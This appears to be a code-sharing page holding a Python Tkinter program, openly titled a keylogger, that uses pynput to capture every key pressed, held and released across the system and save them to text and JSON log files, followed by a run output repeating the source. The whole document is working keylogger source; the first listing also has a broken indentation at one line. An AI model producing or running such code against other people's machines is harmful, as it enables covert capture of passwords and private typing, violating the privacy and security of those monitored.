fork download
  1. import tkinter as tk
  2. from tkinter import *
  3. from pynput import keyboard
  4. import json
  5. keys_used = [];
  6. flag = False;
  7. keys = ""
  8. def generate_text_log(key):
  9.     with open('key_log.txt', "w+") as keys:
  10.       keys.write(key)
  11. def generate_json_file(keys_used):
  12.     with open('key_log.json', '+wb') as key_log:
  13.         key_list_bytes = json.dumps(keys_used).encode()
  14.         key_log.write(key_list_bytes)
  15. def on_press(key):
  16.     global flag, keys_used, keys
  17.     if flag == False:
  18.     keys_used.append(
  19.             {'Pressed': f'{key}'}
  20.         )
  21.         flag = True
  22.     if flag == True:
  23.         keys_used.append(
  24.             {'Held': f'{key}'}
  25.         )
  26.     generate_json_file(keys_used)
  27.  
  28. def on_release(key):
  29.     global flag, keys_used, keys
  30.     keys_used.append(
  31.         {'Released': f'{key}'}
  32.     )
  33.     if flag == True:
  34.         flag = False
  35.     generate_json_file(keys_used)
  36.     keys = keys + str(key)
  37.     generate_text_log(str(keys))
  38. def start_keylogger():
  39.     global listener
  40.     listener = keyboard.Listener(on_press=on_press, on_release=on_release)
  41.     listener.start()
  42.     label.config(text="[+] Keylogger is running!\n[!] Saving the keys in 'keylogger.txt'")
  43.     start_button.config(state='disabled')
  44.     stop_button.config(state='normal')
  45. def stop_keylogger():
  46.     global listener
  47.     listener.stop()
  48.     label.config(text="Keylogger stopped.")
  49.     start_button.config(state='normal')
  50.     stop_button.config(state='disabled')
  51. root = Tk()
  52. root.title("Keylogger")
  53. label = Label(root, text='Click "Start" to begin keylogging.')
  54. label.config(anchor=CENTER)
  55. label.pack()
  56. start_button = Button(root, text="Start", command=start_keylogger)
  57. start_button.pack(side=LEFT)
  58. stop_button = Button(root, text="Stop", command=stop_keylogger, state='disabled')
  59. stop_button.pack(side=RIGHT)
  60. root.geometry("250x250")
  61. root.mainloop()
  62.  
Success #stdin #stdout 0.02s 25904KB
stdin
Standard input is empty
stdout
import tkinter as tk
from tkinter import *
from pynput import keyboard
import json
keys_used = [];
flag = False;
keys = ""
def generate_text_log(key):
    with open('key_log.txt', "w+") as keys:
      keys.write(key)
def generate_json_file(keys_used):
    with open('key_log.json', '+wb') as key_log:
        key_list_bytes = json.dumps(keys_used).encode()
        key_log.write(key_list_bytes)
def on_press(key):
    global flag, keys_used, keys
    if flag == False:
        keys_used.append(
            {'Pressed': f'{key}'}
        )
        flag = True
    if flag == True:
        keys_used.append(
            {'Held': f'{key}'}
        )
    generate_json_file(keys_used)

def on_release(key):
    global flag, keys_used, keys
    keys_used.append(
        {'Released': f'{key}'}
    )
    if flag == True:
        flag = False
    generate_json_file(keys_used)
    keys = keys + str(key)
    generate_text_log(str(keys))
def start_keylogger():
    global listener
    listener = keyboard.Listener(on_press=on_press, on_release=on_release)
    listener.start()
    label.config(text="[+] Keylogger is running!\n[!] Saving the keys in 'keylogger.txt'")
    start_button.config(state='disabled')
    stop_button.config(state='normal')
def stop_keylogger():
    global listener
    listener.stop()
    label.config(text="Keylogger stopped.")
    start_button.config(state='normal')
    stop_button.config(state='disabled')
root = Tk()
root.title("Keylogger")
label = Label(root, text='Click "Start" to begin keylogging.')
label.config(anchor=CENTER)
label.pack()
start_button = Button(root, text="Start", command=start_keylogger)
start_button.pack(side=LEFT)
stop_button = Button(root, text="Stop", command=stop_keylogger, state='disabled')
stop_button.pack(side=RIGHT)
root.geometry("250x250")
root.mainloop()